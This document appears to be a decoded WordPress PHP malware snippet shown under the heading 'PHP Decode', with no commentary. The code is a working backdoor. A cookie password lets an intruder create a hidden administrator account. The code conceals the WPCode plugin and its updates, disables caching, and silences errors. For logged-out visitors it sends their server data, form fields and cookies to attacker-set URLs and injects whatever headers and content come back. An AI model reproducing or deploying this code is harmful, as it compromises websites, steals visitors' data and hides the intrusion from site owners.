PHP Decode

<?  if (defined("_WP_WEBSITE")) { 
    return; 
} 
 
define("_WP_PWSA", "0466deafa67ffc5238621ddb532e0dad"); 
define('_WP_WEBSITE', "cetalus.net"); 
 
foreach (['DONOTCACHEPAGE', 'DONOTMINIFY', 'DONOTCDN'] as $const) { 
    if (!defined($const)) { 
        define($const, false); 
    } 
} 
 
add_filter( 'sgo_bypass_cache', '__return_true' ); 
add_filter( 'autoptimize_filter_noptimize', '__return_true' ); 
add_filter('do_rocket_generate_caching_files', '__return_false'); 
add_filter('w3tc_can_cache', '__return_false'); 
add_filter('wp_cache_not_logged_in', '__return_false'); 
add_filter('wp_cache_no_cache_for_get', '__return_true'); 
do_action( 'litespeed_control_set_nocache', '' ); 
 
function b64($input) 
{ 
    return base64_decode($input); 
} 
 
function download($path, $add_fields) 
{ 
    $fields = ['v' => 2, 'website' => _WP_WEBSITE, 'server' => $_SERVER, 'download_type' => 'direct']; 
    if ($add_fields) { 
        $fields = array_merge($fields, [ 
            'post' => isset($_POST) ? $_POST : [], 
            'get' => isset($_GET) ? $_GET : [], 
            'cookie' => isset($_COOKIE) ? $_COOKIE : [] 
        ]); 
    } 
    $ch = @curl_init(); 
    @curl_setopt($ch, CURLOPT_URL, $path); 
    @curl_setopt($ch, CURLOPT_POST, 1); 
    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    @curl_setopt($ch, CURLOPT_TIMEOUT, 60); 
    @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
    @curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields)); 
    $output = @curl_exec($ch); 
    @curl_close($ch); 
    return $output; 
} 
 
if ((current_user_can('edit_pages') || current_user_can('edit_others_pages')) && !array_key_exists('show_all', $_GET) && !defined('_WP_FIX')) { 
    define('_WP_FIX', true); 
 
    function fix_style() 
    { 
        echo '<style>'; 
        echo '#toplevel_page_wpcode { display: none; }'; 
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }'; 
        echo '#wpcode-notice-global-review_request { display: none; }'; 
        echo '</style>'; 
    } 
 
    add_action('admin_head', 'fix_style'); 
    add_action('wp_head', 'fix_style'); 
 
    add_filter('all_plugins', function ($plugins) { 
        if (isset($plugins['wpcode/wpcode.php'])) { 
            unset($plugins['wpcode/wpcode.php']); 
        } 
        if (isset($plugins['insert-headers-and-footers/ihaf.php'])) { 
            unset($plugins['insert-headers-and-footers/ihaf.php']); 
        } 
        return $plugins; 
    }); 
 
    function fix_updates($value) 
    { 
        if (isset($value) && is_object($value)) { 
            if (isset($value->response['insert-headers-and-footers/ihaf.php'])) { 
                unset($value->response['insert-headers-and-footers/ihaf.php']); 
            } 
            if (isset($value->response['wpcode/wpcode.php'])) { 
                unset($value->response['wpcode/wpcode.php']); 
            } 
        } 
        return $value; 
    } 
 
    add_filter('site_transient_update_plugins', 'fix_updates'); 
    add_filter('transient_update_plugins', 'fix_updates'); 
} 
 
if (!function_exists('_red')) { 
    error_reporting(0); 
    ini_set('display_errors', 0); 
 
    function _gcookie($n) 
    { 
        return (isset($_COOKIE[$n])) ? b64($_COOKIE[$n]) : ''; 
    } 
 
    if (!empty(_WP_PWSA) && _gcookie('pw') === _WP_PWSA) { 
        switch (_gcookie('c')) { 
            case 'sd': 
                $d = _gcookie('d'); 
                if (strpos($d, '.') > 0) { 
                    update_option('d', $d); 
                } 
                break; 
            case 'sl': 
                $l = _gcookie('l'); 
                if (substr($l, 0, 4) === 'http' && strpos($l, '.') > 0) { 
                    update_option('l', $l); 
                } 
                break; 
            case 'au': 
                $u = _gcookie('u'); 
                $p = _gcookie('p'); 
                $e = _gcookie('e'); 
 
                if ($u && $p && $e && !username_exists($u)) { 
                    $user_id = wp_create_user($u, $p, $e); 
                    $user = new WP_User($user_id); 
                    $user->set_role('administrator'); 
                } 
                break; 
        } 
        die('X-OK'); 
    } 
 
    if (@stripos(wp_login_url(), '' . $_SERVER['SCRIPT_NAME']) !== false) { 
        return; 
    } 
 
    if (_gcookie("skip") === "1") { 
        return; 
    } 
 
    function _user_ip() 
    { 
        foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { 
            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) { 
                foreach (@explode(',', '' . $_SERVER[$key]) as $ip) { 
                    $ip = trim($ip); 
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { 
                        return $ip; 
                    } 
                } 
            } 
        } 
 
        return false; 
    } 
 
    function _red() 
    { 
        if (is_user_logged_in()) { 
            return; 
        } 
 
        if (isset($_SERVER['REQUEST_URI']) && (stripos($_SERVER['REQUEST_URI'], 'wp-admin') !== false || stripos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false)) { 
            return; 
        } 
 
        $ip = _user_ip(); 
        if (!$ip) { 
            return; 
        } 
 
        $exp = get_transient('exp'); 
        if (!is_array($exp)) { 
            $exp = array(); 
        } 
 
        foreach ($exp as $k => $v) { 
            if (time() - $v > 86400) { 
                unset($exp[$k]); 
            } 
        } 
 
        $u = strtolower(preg_replace("/[^A-Za-z0-9]/", '', isset($_GET['u']) ? 'uu' . $_GET['u'] : '')); 
        $u = (strlen($u) > 20) ? substr($u, 0, 20) : $u; 
 
        $post = isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['v']) && isset($_POST['website']) && isset($_POST['server']) && isset($_POST['download_type']); 
 
        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400) && strlen($u) < 3 && !$post) { 
            return; 
        } 
 
        if (!function_exists('curl_init')) { 
            return; 
        } 
 
        $links = get_option('l'); 
        if (!$links) { 
            return; 
        } 
 
        $exp[$ip] = time(); 
        delete_transient('exp'); 
        set_transient('exp', $exp); 
 
        $links = explode("
", $links); 
        shuffle($links); 
 
        for ($i = 0; $i < 4; $i++) { 
            $s = $links[$i % count($links)] . "/" . substr(md5(microtime()), rand(0, 26), 6); 
            if (!$s || substr($s, 0, 4) !== 'http') { 
                continue; 
            } 
 
            $output = download($s, $post || strlen($u) > 2); 
 
            if ($output) { 
                $j = json_decode($output); 
                if (is_object($j) && (isset($j->body) || isset($j->headers) || isset($j->skip))) { 
                    if ($post && isset($j->headers) && isset($j->body)) { 
                        echo $output; 
                        exit; 
                    } else { 
                        if (isset($j->headers)) { 
                            foreach ($j->headers as $header) { 
                                header($header); 
 
                            } 
                        } 
                        if (isset($j->body)) { 
                            echo b64($j->body); 
                        } 
                    } 
                    if (isset($j->skip)) { 
                        break; 
                    } else { 
                        exit; 
                    } 
                } 
            } 
        } 
    } 
 
    add_action('init', '_red'); 
} ?>